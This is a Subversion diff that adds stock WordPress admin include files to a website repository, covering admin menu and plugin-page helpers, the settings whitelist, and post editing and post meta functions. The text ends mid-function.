+		if ( isset( $_wp_real_parent_file[$parent_file] ) )
+			$parent_file = $_wp_real_parent_file[$parent_file];
+		return $parent_file;
+	}
+
+	foreach (array_keys( (array)$submenu ) as $parent) {
+		foreach ( $submenu[$parent] as $submenu_array ) {
+			if ( isset( $_wp_real_parent_file[$parent] ) )
+				$parent = $_wp_real_parent_file[$parent];
+			if ( $submenu_array[2] == $pagenow ) {
+				$parent_file = $parent;
+				return $parent;
+			} else
+				if ( isset( $plugin_page ) && ($plugin_page == $submenu_array[2] ) ) {
+					$parent_file = $parent;
+					return $parent;
+				}
+		}
+	}
+
+	if ( empty($parent_file) )
+		$parent_file = '';
+	return '';
+}
+
+function get_admin_page_title() {
+	global $title;
+	global $menu;
+	global $submenu;
+	global $pagenow;
+	global $plugin_page;
+
+	if ( isset( $title ) && !empty ( $title ) ) {
+		return $title;
+	}
+
+	$hook = get_plugin_page_hook( $plugin_page, $pagenow );
+
+	$parent = $parent1 = get_admin_page_parent();
+
+	if ( empty ( $parent) ) {
+		foreach ( (array)$menu as $menu_array ) {
+			if ( isset( $menu_array[3] ) ) {
+				if ( $menu_array[2] == $pagenow ) {
+					$title = $menu_array[3];
+					return $menu_array[3];
+				} else
+					if ( isset( $plugin_page ) && ($plugin_page == $menu_array[2] ) && ($hook == $menu_array[3] ) ) {
+						$title = $menu_array[3];
+						return $menu_array[3];
+					}
+			} else {
+				$title = $menu_array[0];
+				return $title;
+			}
+		}
+	} else {
+		foreach (array_keys( $submenu ) as $parent) {
+			foreach ( $submenu[$parent] as $submenu_array ) {
+				if ( isset( $plugin_page ) &&
+					($plugin_page == $submenu_array[2] ) &&
+					(($parent == $pagenow ) || ($parent == $plugin_page ) || ($plugin_page == $hook ) || (($pagenow == 'admin.php' ) && ($parent1 != $submenu_array[2] ) ) )
+					) {
+						$title = $submenu_array[3];
+						return $submenu_array[3];
+					}
+
+				if ( $submenu_array[2] != $pagenow || isset( $_GET['page'] ) ) // not the current page
+					continue;
+
+				if ( isset( $submenu_array[3] ) ) {
+					$title = $submenu_array[3];
+					return $submenu_array[3];
+				} else {
+					$title = $submenu_array[0];
+					return $title;
+				}
+			}
+		}
+		if ( !isset($title) || empty ( $title ) ) {
+			foreach ( $menu as $menu_array ) {
+				if ( isset( $plugin_page ) &&
+					($plugin_page == $menu_array[2] ) &&
+					($pagenow == 'admin.php' ) &&
+					($parent1 == $menu_array[2] ) )
+					{
+						$title = $menu_array[3];
+						return $menu_array[3];
+					}
+			}
+		}
+	}
+
+	return $title;
+}
+
+function get_plugin_page_hook( $plugin_page, $parent_page ) {
+	$hook = get_plugin_page_hookname( $plugin_page, $parent_page );
+	if ( has_action($hook) )
+		return $hook;
+	else
+		return null;
+}
+
+function get_plugin_page_hookname( $plugin_page, $parent_page ) {
+	global $admin_page_hooks;
+
+	$parent = get_admin_page_parent( $parent_page );
+
+	$page_type = 'admin';
+	if ( empty ( $parent_page ) || 'admin.php' == $parent_page || isset( $admin_page_hooks[$plugin_page] ) ) {
+		if ( isset( $admin_page_hooks[$plugin_page] ) )
+			$page_type = 'toplevel';
+		else
+			if ( isset( $admin_page_hooks[$parent] ))
+				$page_type = $admin_page_hooks[$parent];
+	} else if ( isset( $admin_page_hooks[$parent] ) ) {
+		$page_type = $admin_page_hooks[$parent];
+	}
+
+	$plugin_name = preg_replace( '!\.php!', '', $plugin_page );
+
+	return $page_type.'_page_'.$plugin_name;
+}
+
+function user_can_access_admin_page() {
+	global $pagenow;
+	global $menu;
+	global $submenu;
+	global $_wp_menu_nopriv;
+	global $_wp_submenu_nopriv;
+	global $plugin_page;
+	global $_registered_pages;
+
+	$parent = get_admin_page_parent();
+
+	if ( !isset( $plugin_page ) && isset( $_wp_submenu_nopriv[$parent][$pagenow] ) )
+		return false;
+
+	if ( isset( $plugin_page ) ) {
+		if ( isset( $_wp_submenu_nopriv[$parent][$plugin_page] ) )
+			return false;
+
+		$hookname = get_plugin_page_hookname($plugin_page, $parent);
+		if ( !isset($_registered_pages[$hookname]) )
+			return false;
+	}
+
+	if ( empty( $parent) ) {
+		if ( isset( $_wp_menu_nopriv[$pagenow] ) )
+			return false;
+		if ( isset( $_wp_submenu_nopriv[$pagenow][$pagenow] ) )
+			return false;
+		if ( isset( $plugin_page ) && isset( $_wp_submenu_nopriv[$pagenow][$plugin_page] ) )
+			return false;
+		if ( isset( $plugin_page ) && isset( $_wp_menu_nopriv[$plugin_page] ) )
+			return false;
+		foreach (array_keys( $_wp_submenu_nopriv ) as $key ) {
+			if ( isset( $_wp_submenu_nopriv[$key][$pagenow] ) )
+				return false;
+			if ( isset( $plugin_page ) && isset( $_wp_submenu_nopriv[$key][$plugin_page] ) )
+			return false;
+		}
+		return true;
+	}
+
+	if ( isset( $plugin_page ) && ( $plugin_page == $parent ) && isset( $_wp_menu_nopriv[$plugin_page] ) )
+		return false;
+
+	if ( isset( $submenu[$parent] ) ) {
+		foreach ( $submenu[$parent] as $submenu_array ) {
+			if ( isset( $plugin_page ) && ( $submenu_array[2] == $plugin_page ) ) {
+				if ( current_user_can( $submenu_array[1] ))
+					return true;
+				else
+					return false;
+			} else if ( $submenu_array[2] == $pagenow ) {
+				if ( current_user_can( $submenu_array[1] ))
+					return true;
+				else
+					return false;
+			}
+		}
+	}
+
+	foreach ( $menu as $menu_array ) {
+		if ( $menu_array[2] == $parent) {
+			if ( current_user_can( $menu_array[1] ))
+				return true;
+			else
+				return false;
+		}
+	}
+
+	return true;
+}
+
+/* Whitelist functions */
+
+/**
+ * Register a setting and its sanitization callback
+ *
+ * @since 2.7.0
+ *
+ * @param string $option_group A settings group name.  Can be anything.
+ * @param string $option_name The name of an option to sanitize and save.
+ * @param unknown_type $sanitize_callback A callback function that sanitizes the option's value.
+ * @return unknown
+ */
+function register_setting($option_group, $option_name, $sanitize_callback = '') {
+	return add_option_update_handler($option_group, $option_name, $sanitize_callback);
+}
+
+/**
+ * Unregister a setting
+ *
+ * @since 2.7.0
+ *
+ * @param unknown_type $option_group
+ * @param unknown_type $option_name
+ * @param unknown_type $sanitize_callback
+ * @return unknown
+ */
+function unregister_setting($option_group, $option_name, $sanitize_callback = '') {
+	return remove_option_update_handler($option_group, $option_name, $sanitize_callback);
+}
+
+/**
+ * {@internal Missing Short Description}}
+ *
+ * @since unknown
+ *
+ * @param unknown_type $option_group
+ * @param unknown_type $option_name
+ * @param unknown_type $sanitize_callback
+ */
+function add_option_update_handler($option_group, $option_name, $sanitize_callback = '') {
+	global $new_whitelist_options;
+	$new_whitelist_options[ $option_group ][] = $option_name;
+	if ( $sanitize_callback != '' )
+		add_filter( "sanitize_option_{$option_name}", $sanitize_callback );
+}
+
+/**
+ * {@internal Missing Short Description}}
+ *
+ * @since unknown
+ *
+ * @param unknown_type $option_group
+ * @param unknown_type $option_name
+ * @param unknown_type $sanitize_callback
+ */
+function remove_option_update_handler($option_group, $option_name, $sanitize_callback = '') {
+	global $new_whitelist_options;
+	$pos = array_search( $option_name, (array) $new_whitelist_options );
+	if ( $pos !== false )
+		unset( $new_whitelist_options[ $option_group ][ $pos ] );
+	if ( $sanitize_callback != '' )
+		remove_filter( "sanitize_option_{$option_name}", $sanitize_callback );
+}
+
+/**
+ * {@internal Missing Short Description}}
+ *
+ * @since unknown
+ *
+ * @param unknown_type $options
+ * @return unknown
+ */
+function option_update_filter( $options ) {
+	global $new_whitelist_options;
+
+	if ( is_array( $new_whitelist_options ) )
+		$options = add_option_whitelist( $new_whitelist_options, $options );
+
+	return $options;
+}
+add_filter( 'whitelist_options', 'option_update_filter' );
+
+/**
+ * {@internal Missing Short Description}}
+ *
+ * @since unknown
+ *
+ * @param unknown_type $new_options
+ * @param unknown_type $options
+ * @return unknown
+ */
+function add_option_whitelist( $new_options, $options = '' ) {
+	if( $options == '' ) {
+		global $whitelist_options;
+	} else {
+		$whitelist_options = $options;
+	}
+	foreach( $new_options as $page => $keys ) {
+		foreach( $keys as $key ) {
+			if ( !isset($whitelist_options[ $page ]) || !is_array($whitelist_options[ $page ]) ) {
+				$whitelist_options[ $page ] = array();
+				$whitelist_options[ $page ][] = $key;
+			} else {
+				$pos = array_search( $key, $whitelist_options[ $page ] );
+				if ( $pos === false )
+					$whitelist_options[ $page ][] = $key;
+			}
+		}
+	}
+	return $whitelist_options;
+}
+
+/**
+ * {@internal Missing Short Description}}
+ *
+ * @since unknown
+ *
+ * @param unknown_type $del_options
+ * @param unknown_type $options
+ * @return unknown
+ */
+function remove_option_whitelist( $del_options, $options = '' ) {
+	if( $options == '' ) {
+		global $whitelist_options;
+	} else {
+		$whitelist_options = $options;
+	}
+	foreach( $del_options as $page => $keys ) {
+		foreach( $keys as $key ) {
+			if ( isset($whitelist_options[ $page ]) && is_array($whitelist_options[ $page ]) ) {
+				$pos = array_search( $key, $whitelist_options[ $page ] );
+				if( $pos !== false )
+					unset( $whitelist_options[ $page ][ $pos ] );
+			}
+		}
+	}
+	return $whitelist_options;
+}
+
+/**
+ * Output nonce, action, and option_page fields for a settings page.
+ *
+ * @since 2.7.0
+ *
+ * @param string $option_group A settings group name.  This should match the group name used in register_setting().
+ */
+function settings_fields($option_group) {
+	echo "<input type='hidden' name='option_page' value='" . esc_attr($option_group) . "' />";
+	echo '<input type="hidden" name="action" value="update" />';
+	wp_nonce_field("$option_group-options");
+}
+
+?>
Index: /trunk/www.guidonia.net/wp/wp-admin/includes/post.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-admin/includes/post.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-admin/includes/post.php	(revision 44)
@@ -0,0 +1,1404 @@
+<?php
+/**
+ * WordPress Post Administration API.
+ *
+ * @package WordPress
+ * @subpackage Administration
+ */
+
+/**
+ * Rename $_POST data from form names to DB post columns.
+ *
+ * Manipulates $_POST directly.
+ *
+ * @package WordPress
+ * @since 2.6.0
+ *
+ * @param bool $update Are we updating a pre-existing post?
+ * @param post_data array Array of post data. Defaults to the contents of $_POST.
+ * @return object|bool WP_Error on failure, true on success.
+ */
+function _wp_translate_postdata( $update = false, $post_data = null ) {
+
+	if ( empty($post_data) )
+		$post_data = &$_POST;
+
+	if ( $update )
+		$post_data['ID'] = (int) $post_data['post_ID'];
+	$post_data['post_content'] = isset($post_data['content']) ? $post_data['content'] : '';
+	$post_data['post_excerpt'] = isset($post_data['excerpt']) ? $post_data['excerpt'] : '';
+	$post_data['post_parent'] = isset($post_data['parent_id'])? $post_data['parent_id'] : '';
+	if ( isset($post_data['trackback_url']) )
+		$post_data['to_ping'] = $post_data['trackback_url'];
+
+	if (!empty ( $post_data['post_author_override'] ) ) {
+		$post_data['post_author'] = (int) $post_data['post_author_override'];
+	} else {
+		if (!empty ( $post_data['post_author'] ) ) {
+			$post_data['post_author'] = (int) $post_data['post_author'];
+		} else {
+			$post_data['post_author'] = (int) $post_data['user_ID'];
+		}
+	}
+
+	if ( isset($post_data['user_ID']) && ($post_data['post_author'] != $post_data['user_ID']) ) {
+		if ( 'page' == $post_data['post_type'] ) {
+			if ( !current_user_can( 'edit_others_pages' ) ) {
+				return new WP_Error( 'edit_others_pages', $update ?
+					__( 'You are not allowed to edit pages as this user.' ) :
+					__( 'You are not allowed to create pages as this user.' )
+				);
+			}
+		} else {
+			if ( !current_user_can( 'edit_others_posts' ) ) {
+				return new WP_Error( 'edit_others_posts', $update ?
+					__( 'You are not allowed to edit posts as this user.' ) :
+					__( 'You are not allowed to post as this user.' )
+				);
+			}
+		}
+	}
+
+	// What to do based on which button they pressed
+	if ( isset($post_data['saveasdraft']) && '' != $post_data['saveasdraft'] )
+		$post_data['post_status'] = 'draft';
+	if ( isset($post_data['saveasprivate']) && '' != $post_data['saveasprivate'] )
+		$post_data['post_status'] = 'private';
+	if ( isset($post_data['publish']) && ( '' != $post_data['publish'] ) && ( $post_data['post_status'] != 'private' ) )
+		$post_data['post_status'] = 'publish';
+	if ( isset($post_data['advanced']) && '' != $post_data['advanced'] )
+		$post_data['post_status'] = 'draft';
+	if ( isset($post_data['pending']) && '' != $post_data['pending'] )
+		$post_data['post_status'] = 'pending';
+
+	$previous_status = get_post_field('post_status',  isset($post_data['ID']) ? $post_data['ID'] : $post_data['temp_ID']);
+
+	// Posts 'submitted for approval' present are submitted to $_POST the same as if they were being published.
+	// Change status from 'publish' to 'pending' if user lacks permissions to publish or to resave published posts.
+	if ( 'page' == $post_data['post_type'] ) {
+		$publish_cap = 'publish_pages';
+		$edit_cap = 'edit_published_pages';
+	} else {
+		$publish_cap = 'publish_posts';
+		$edit_cap = 'edit_published_posts';
+	}
+	if ( isset($post_data['post_status']) && ('publish' == $post_data['post_status'] && !current_user_can( $publish_cap )) )
+		if ( $previous_status != 'publish' || !current_user_can( $edit_cap ) )
+			$post_data['post_status'] = 'pending';
+
+	if ( ! isset($post_data['post_status']) )
+		$post_data['post_status'] = $previous_status;
+
+	if (!isset( $post_data['comment_status'] ))
+		$post_data['comment_status'] = 'closed';
+
+	if (!isset( $post_data['ping_status'] ))
+		$post_data['ping_status'] = 'closed';
+
+	foreach ( array('aa', 'mm', 'jj', 'hh', 'mn') as $timeunit ) {
+		if ( !empty( $post_data['hidden_' . $timeunit] ) && $post_data['hidden_' . $timeunit] != $post_data[$timeunit] ) {
+			$post_data['edit_date'] = '1';
+			break;
+		}
+	}
+
+	if ( !empty( $post_data['edit_date'] ) ) {
+		$aa = $post_data['aa'];
+		$mm = $post_data['mm'];
+		$jj = $post_data['jj'];
+		$hh = $post_data['hh'];
+		$mn = $post_data['mn'];
+		$ss = $post_data['ss'];
+		$aa = ($aa <= 0 ) ? date('Y') : $aa;
+		$mm = ($mm <= 0 ) ? date('n') : $mm;
+		$jj = ($jj > 31 ) ? 31 : $jj;
+		$jj = ($jj <= 0 ) ? date('j') : $jj;
+		$hh = ($hh > 23 ) ? $hh -24 : $hh;
+		$mn = ($mn > 59 ) ? $mn -60 : $mn;
+		$ss = ($ss > 59 ) ? $ss -60 : $ss;
+		$post_data['post_date'] = sprintf( "%04d-%02d-%02d %02d:%02d:%02d", $aa, $mm, $jj, $hh, $mn, $ss );
+		$post_data['post_date_gmt'] = get_gmt_from_date( $post_data['post_date'] );
+	}
+
+	return $post_data;
+}
+
+/**
+ * Update an existing post with values provided in $_POST.
+ *
+ * @since unknown
+ *
+ * @param array $post_data Optional.
+ * @return int Post ID.
+ */
+function edit_post( $post_data = null ) {
+
+	if ( empty($post_data) )
+		$post_data = &$_POST;
+
+	$post_ID = (int) $post_data['post_ID'];
+
+	if ( 'page' == $post_data['post_type'] ) {
+		if ( !current_user_can( 'edit_page', $post_ID ) )
+			wp_die( __('You are not allowed to edit this page.' ));
+	} else {
+		if ( !current_user_can( 'edit_post', $post_ID ) )
+			wp_die( __('You are not allowed to edit this post.' ));
+	}
+
+	// Autosave shouldn't save too soon after a real save
+	if ( 'autosave' == $post_data['action'] ) {
+		$post =& get_post( $post_ID );
+		$now = time();
+		$then = strtotime($post->post_date_gmt . ' +0000');
+		$delta = AUTOSAVE_INTERVAL / 2;
+		if ( ($now - $then) < $delta )
+			return $post_ID;
+	}
+
+	$post_data = _wp_translate_postdata( true, $post_data );
+	if ( is_wp_error($post_data) )
+		wp_die( $post_data->get_error_message() );
+
+	if ( isset($post_data['visibility']) ) {
+		switch ( $post_data['visibility'] ) {
+			case 'public' :
+				$post_data['post_password'] = '';
+				break;
+			case 'password' :
+				unset( $post_data['sticky'] );
+				break;
+			case 'private' :
+				$post_data['post_status'] = 'private';
+				$post_data['post_password'] = '';
+				unset( $post_data['sticky'] );
+				break;
+		}
+	}
+
+	// Meta Stuff
+	if ( isset($post_data['meta']) && $post_data['meta'] ) {
+		foreach ( $post_data['meta'] as $key => $value )
+			update_meta( $key, $value['key'], $value['value'] );
+	}
+
+	if ( isset($post_data['deletemeta']) && $post_data['deletemeta'] ) {
+		foreach ( $post_data['deletemeta'] as $key => $value )
+			delete_meta( $key );
+	}
+
+	add_meta( $post_ID );
+
+	wp_update_post( $post_data );
+
+	// Reunite any orphaned attachments with their parent
+	if ( !$draft_ids = get_user_option( 'autosave_draft_ids' ) )
+		$draft_ids = array();
+	if ( $draft_temp_id = (int) array_search( $post_ID, $draft_ids ) )
+		_relocate_children( $draft_temp_id, $post_ID );
+
+	// Now that we have an ID we can fix any attachment anchor hrefs
+	_fix_attachment_links( $post_ID );
+
+	wp_set_post_lock( $post_ID, $GLOBALS['current_user']->ID );
+
+	if ( current_user_can( 'edit_others_posts' ) ) {
+		if ( !empty($post_data['sticky']) )
+			stick_post($post_ID);
+		else
+			unstick_post($post_ID);
+	}
+
+	return $post_ID;
+}
+
+/**
+ * {@internal Missing Short Description}}
+ *
+ * Updates all bulk edited posts/pages, adding (but not removing) tags and
+ * categories. Skips pages when they would be their own parent or child.
+ *
+ * @since unknown
+ *
+ * @return array
+ */
+function bulk_edit_posts( $post_data = null ) {
+	global $wpdb;
+
+	if ( empty($post_data) )
+		$post_data = &$_POST;
+
+	if ( isset($post_data['post_type']) && 'page' == $post_data['post_type'] ) {
+		if ( ! current_user_can( 'edit_pages' ) )
+			wp_die( __('You are not allowed to edit pages.') );
+	} else {
+		if ( ! current_user_can( 'edit_posts' ) )
+			wp_die( __('You are not allowed to edit posts.') );
+	}
+
+	$post_IDs = array_map( 'intval', (array) $post_data['post'] );
+
+	$reset = array( 'post_author', 'post_status', 'post_password', 'post_parent', 'page_template', 'comment_status', 'ping_status', 'keep_private', 'tags_input', 'post_category', 'sticky' );
+	foreach ( $reset as $field ) {
+		if ( isset($post_data[$field]) && ( '' == $post_data[$field] || -1 == $post_data[$field] ) )
+			unset($post_data[$field]);
+	}
+
+	if ( isset($post_data['post_category']) ) {
+		if ( is_array($post_data['post_category']) && ! empty($post_data['post_category']) )
+			$new_cats = array_map( absint, $post_data['post_category'] );
+		else
+			unset($post_data['post_category']);
+	}
+
+	if ( isset($post_data['tags_input']) ) {
+		$new_tags = preg_replace( '/\s*,\s*/', ',', rtrim( trim($post_data['tags_input']), ' ,' ) );
+		$new_tags = explode(',', $new_tags);
+	}
+
+	if ( isset($post_data['post_parent']) && ($parent = (int) $post_data['post_parent']) ) {
+		$pages = $wpdb->get_results("SELECT ID, post_parent FROM $wpdb->posts WHERE post_type = 'page'");
+		$children = array();
+
+		for ( $i = 0; $i < 50 && $parent > 0; $i++ ) {
+			$children[] = $parent;
+
+			foreach ( $pages as $page ) {
+				if ( $page->ID == $parent ) {
+					$parent = $page->post_parent;
+					break;
+				}
+			}
+		}
+	}
+
+	$updated = $skipped = $locked = array();
+	foreach ( $post_IDs as $post_ID ) {
+
+		if ( isset($children) && in_array($post_ID, $children) ) {
+			$skipped[] = $post_ID;
+			continue;
+		}
+
+		if ( wp_check_post_lock( $post_ID ) ) {
+			$locked[] = $post_ID;
+			continue;
+		}
+
+		if ( isset($new_cats) ) {
+			$cats = (array) wp_get_post_categories($post_ID);
+			$post_data['post_category'] = array_unique( array_merge($cats, $new_cats) );
+		}
+
+		if ( isset($new_tags) ) {
+			$tags = wp_get_post_tags($post_ID, array('fields' => 'names'));
+			$post_data['tags_input'] = array_unique( array_merge($tags, $new_tags) );
+		}
+
+		$post_data['ID'] = $post_ID;
+		$updated[] = wp_update_post( $post_data );
+
+		if ( current_user_can( 'edit_others_posts' ) && isset( $post_data['sticky'] ) ) {
+			if ( 'sticky' == $post_data['sticky'] )
+				stick_post( $post_ID );
+			else
+				unstick_post( $post_ID );
+		}
+
+	}
+
+	return array( 'updated' => $updated, 'skipped' => $skipped, 'locked' => $locked );
+}
+
+/**
+ * Default post information to use when populating the "Write Post" form.
+ *
+ * @since unknown
+ *
+ * @return unknown
+ */
+function get_default_post_to_edit() {
+	if ( !empty( $_REQUEST['post_title'] ) )
+		$post_title = esc_html( stripslashes( $_REQUEST['post_title'] ));
+	else if ( !empty( $_REQUEST['popuptitle'] ) ) {
+		$post_title = esc_html( stripslashes( $_REQUEST['popuptitle'] ));
+		$post_title = funky_javascript_fix( $post_title );
+	} else {
+		$post_title = '';
+	}
+
+	$post_content = '';
+	if ( !empty( $_REQUEST['content'] ) )
+		$post_content = esc_html( stripslashes( $_REQUEST['content'] ));
+	else if ( !empty( $post_title ) ) {
+		$text       = esc_html( stripslashes( urldecode( $_REQUEST['text'] ) ) );
+		$text       = funky_javascript_fix( $text);
+		$popupurl   = esc_url($_REQUEST['popupurl']);
+		$post_content = '<a href="'.$popupurl.'">'.$post_title.'</a>'."\n$text";
+	}
+
+	if ( !empty( $_REQUEST['excerpt'] ) )
+		$post_excerpt = esc_html( stripslashes( $_REQUEST['excerpt'] ));
+	else
+		$post_excerpt = '';
+
+	$post->ID = 0;
+	$post->post_name = '';
+	$post->post_author = '';
+	$post->post_date = '';
+	$post->post_date_gmt = '';
+	$post->post_password = '';
+	$post->post_status = 'draft';
+	$post->post_type = 'post';
+	$post->to_ping = '';
+	$post->pinged = '';
+	$post->comment_status = get_option( 'default_comment_status' );
+	$post->ping_status = get_option( 'default_ping_status' );
+	$post->post_pingback = get_option( 'default_pingback_flag' );
+	$post->post_category = get_option( 'default_category' );
+	$post->post_content = apply_filters( 'default_content', $post_content);
+	$post->post_title = apply_filters( 'default_title', $post_title );
+	$post->post_excerpt = apply_filters( 'default_excerpt', $post_excerpt);
+	$post->page_template = 'default';
+	$post->post_parent = 0;
+	$post->menu_order = 0;
+
+	return $post;
+}
+
+/**
+ * {@internal Missing Short Description}}
+ *
+ * @since unknown
+ *
+ * @return unknown
+ */
+function get_default_page_to_edit() {
+	$page = get_default_post_to_edit();
+	$page->post_type = 'page';
+	return $page;
+}
+
+/**
+ * Get an existing post and format it for editing.
+ *
+ * @since unknown
+ *
+ * @param unknown_type $id
+ * @return unknown
+ */
+function get_post_to_edit( $id ) {
+
+	$post = get_post( $id, OBJECT, 'edit' );
+
+	if ( $post->post_type == 'page' )
+		$post->page_template = get_post_meta( $id, '_wp_page_template', true );
+
+	return $post;
+}
+
+/**
+ * Determine if a post exists based on title, content, and date
+ *
+ * @since unknown
+ *
+ * @param string $title Post title
+ * @param string $content Optional post content
+ * @param string $date Optional post date
+ * @return int Post ID if post exists, 0 otherwise.
+ */
+function post_exists($title, $content = '', $date = '') {
+	global $wpdb;
+
+	$post_title = stripslashes( sanitize_post_field( 'post_title', $title, 0, 'db' ) );
+	$post_content = stripslashes( sanitize_post_field( 'post_content', $content, 0, 'db' ) );
+	$post_date = stripslashes( sanitize_post_field( 'post_date', $date, 0, 'db' ) );
+
+	$query = "SELECT ID FROM $wpdb->posts WHERE 1=1";
+	$args = array();
+
+	if ( !empty ( $date ) ) {
+		$query .= ' AND post_date = %s';
+		$args[] = $post_date;
+	}
+
+	if ( !empty ( $title ) ) {
+		$query .= ' AND post_title = %s';
+		$args[] = $post_title;
+	}
+
+	if ( !empty ( $content ) ) {
+		$query .= 'AND post_content = %s';
+		$args[] = $post_content;
+	}
+
+	if ( !empty ( $args ) )
+		return $wpdb->get_var( $wpdb->prepare($query, $args) );
+
+	return 0;
+}
+
+/**
+ * Creates a new post from the "Write Post" form using $_POST information.
+ *
+ * @since unknown
+ *
+ * @return unknown
+ */
+function wp_write_post() {
+	global $user_ID;
+
+	if ( 'page' == $_POST['post_type'] ) {
+		if ( !current_user_can( 'edit_pages' ) )
+			return new WP_Error( 'edit_pages', __( 'You are not allowed to create pages on this blog.' ) );
+	} else {
+		if ( !current_user_can( 'edit_posts' ) )
+			return new WP_Error( 'edit_posts', __( 'You are not allowed to create posts or drafts on this blog.' ) );
+	}
+
+
+	// Check for autosave collisions
+	$temp_id = false;
+	if ( isset($_POST['temp_ID']) ) {
+		$temp_id = (int) $_POST['temp_ID'];
+		if ( !$draft_ids = get_user_option( 'autosave_draft_ids' ) )
+			$draft_ids = array();
+		foreach ( $draft_ids as $temp => $real )
+			if ( time() + $temp > 86400 ) // 1 day: $temp is equal to -1 * time( then )
+				unset($draft_ids[$temp]);
+
+		if ( isset($draft_ids[$temp_id]) ) { // Edit, don't write
+			$_POST['post_ID'] = $draft_ids[$temp_id];
+			unset($_POST['temp_ID']);
+			update_user_option( $user_ID, 'autosave_draft_ids', $draft_ids );
+			return edit_post();
+		}
+	}
+
+	$translated = _wp_translate_postdata( false );
+	if ( is_wp_error($translated) )
+		return $translated;
+
+	if ( isset($_POST['visibility']) ) {
+		switch ( $_POST['visibility'] ) {
+			case 'public' :
+				$_POST['post_password'] = '';
+				break;
+			case 'password' :
+				unset( $_POST['sticky'] );
+				break;
+			case 'private' :
+				$_POST['post_status'] = 'private';
+				$_POST['post_password'] = '';
+				unset( $_POST['sticky'] );
+				break;
+		}
+	}
+
+	// Create the post.
+	$post_ID = wp_insert_post( $_POST );
+	if ( is_wp_error( $post_ID ) )
+		return $post_ID;
+
+	if ( empty($post_ID) )
+		return 0;
+
+	add_meta( $post_ID );
+
+	// Reunite any orphaned attachments with their parent
+	if ( !$draft_ids = get_user_option( 'autosave_draft_ids' ) )
+		$draft_ids = array();
+	if ( $draft_temp_id = (int) array_search( $post_ID, $draft_ids ) )
+		_relocate_children( $draft_temp_id, $post_ID );
+	if ( $temp_id && $temp_id != $draft_temp_id )
+		_relocate_children( $temp_id, $post_ID );
+
+	// Update autosave collision detection
+	if ( $temp_id ) {
+		$draft_ids[$temp_id] = $post_ID;
+		update_user_option( $user_ID, 'autosave_draft_ids', $draft_ids );
+	}
+
+	// Now that we have an ID we can fix any attachment anchor hrefs
+	_fix_attachment_links( $post_ID );
+
+	wp_set_post_lock( $post_ID, $GLOBALS['current_user']->ID );
+
+	return $post_ID;
+}
+
+/**
+ * Calls wp_write_post() and handles the errors.
+ *
+ * @since unknown
+ *
+ * @return unknown
+ */
+function write_post() {
+	$result = wp_write_post();
+	if( is_wp_error( $result ) )
+		wp_die( $result->get_error_message() );
+	else
+		return $result;
+}
+
+//
+// Post Meta
+//
+
+/**
+ * {@internal Missing Short Description}}
+ *
+ * @since unknown
+ *
+ * @param unknown_type $post_ID
+ * @return unknown
+ */
+function add_meta( $post_ID ) {
+	global $wpdb;
+	$post_ID = (int) $post_ID;
+
+	$protected = array( '_wp_attached_file', '_wp_attachment_metadata', '_wp_old_slug', '_wp_page_template' );
+
+	$metakeyselect = isset($_POST['metakeyselect']) ? stripslashes( trim( $_POST['metakeyselect'] ) ) : '';
+	$metakeyinput = isset($_POST['metakeyinput']) ? stripslashes( trim( $_POST['metakeyinput'] ) ) : '';
+	$metavalue = isset($_POST['metavalue']) ? maybe_serialize( stripslashes( trim( $_POST['metavalue'] ) ) ) : '';
+
+	if ( ('0' === $metavalue || !empty ( $metavalue ) ) && ((('#NONE#' != $metakeyselect) && !empty ( $metakeyselect) ) || !empty ( $metakeyinput) ) ) {
+		// We have a key/value pair. If both the select and the
+		// input for the key have data, the input takes precedence:
+
+ 		if ('#NONE#' != $metakeyselect)
+			$metakey = $metakeyselect;
+
+		if ( $metakeyinput)
+			$metakey = $metakeyinput; // default
+
+		if ( in_array($metakey, $protected) )
+			return false;
+
+		wp_cache_delete($post_ID, 'post_meta');
+
+		$wpdb->query( $wpdb->prepare("INSERT INTO $wpdb->postmeta (post_id,meta_key,meta_value ) VALUES (%s, %s, %s)", $post_ID, $metakey, $metavalue) );
+		return $wpdb->insert_id;
+	}
+	return false;
+} // add_meta
+
+/**
+ * {@internal Missing Short Description}}
+ *
+ * @since unknown
+ *
+ * @param unknown_type $mid
+ * @return unknown
+ */
+function delete_meta( $mid ) {
+	global $wpdb;
+	$mid = (int) $mid;
+
+	$post_id = $wpdb->get_var( $wpdb->prepare("SELECT post_id FROM $wpdb->postmeta WHERE meta_id = %d", $mid) );
+	wp_cache_delete($post_id, 'post_meta');
+
+	return $wpdb->query( $wpdb->prepare("DELETE FROM $wpdb->postmeta WHERE meta_id = %d", $mid) );
+}
+
+/**
+ * Get a list of previously defined keys.
+ *
+ * @since unknown
+ *
+ * @return unknown
+ */
+function get_meta_keys() {
+	global $wpdb;
+
+	$keys = $wpdb->get_col( "
+			SELECT meta_key
+			FROM $wpdb->postmeta
+			GROUP BY meta_key
+			ORDER BY meta_key" );
+
+	return $keys;
+}
+
+/**
+ * {@internal Missing Short Description}}
+ *
+ * @since unknown
+ *
+ * @param unknown_type $mid
+ * @return unknown
+ */
+function get_post_meta_by_id( $mid ) {
+	global $wpdb;
+	$mid = (int) $mid;
+
+	$meta = $wpdb->get_row( $wpdb->prepare("SELECT * FROM $wpdb->postmeta WHERE meta_id = %d", $mid) );
+	if ( is_serialized_string( $meta->meta_value ) )
+		$meta->meta_value = maybe_unserialize( $meta->meta_value );
+	return $meta;
+}
+
+/**
+ * {@internal Missing Short Description}}
+ *
+ * Some postmeta stuff.
+ *
+ * @since unknown
+ *
+ * @param unknown_type $postid
+ * @return unknown
+ */
+function has_meta( $postid ) {
+	global $wpdb;
+
+	return $wpdb->get_results( $wpdb->prepare("SELECT meta_key, meta_value, meta_id, post_id
+			FROM $wpdb->postmeta WHERE post_id = %d
+			ORDER BY meta_key,meta_id", $postid), ARRAY_A );
+
+}
+
+/**
+ * {@internal Missing Short Description}}
+ *
+ * @since unknown
+ *
+ * @param unknown_type $meta_id
+ * @param unknown_type $meta_key
+ * @param unknown_type $meta_value
+ * @return unknown
+ */
+function update_meta( $meta_id, $meta_key, $meta_value ) {
+	global $wpdb;
+
+	$protected = array( '_wp_attached_file', '_wp_attachment_metadata', '_wp_old_slug', '_wp_page_template' );
+
+	if ( in_array($meta_key, $protected) )
+		return false;
+
+	if ( '' === trim( $meta_value ) )
+		return false;
+
+	$post_id = $wpdb->get_var( $wpdb->prepare("SELECT post_id FROM $wpdb->postmeta WHERE meta_id = %d", $meta_id) );
+	wp_cache_delete($post_id, 'post_meta');
+
+	$meta_value = maybe_serialize( stripslashes( $meta_value ) );
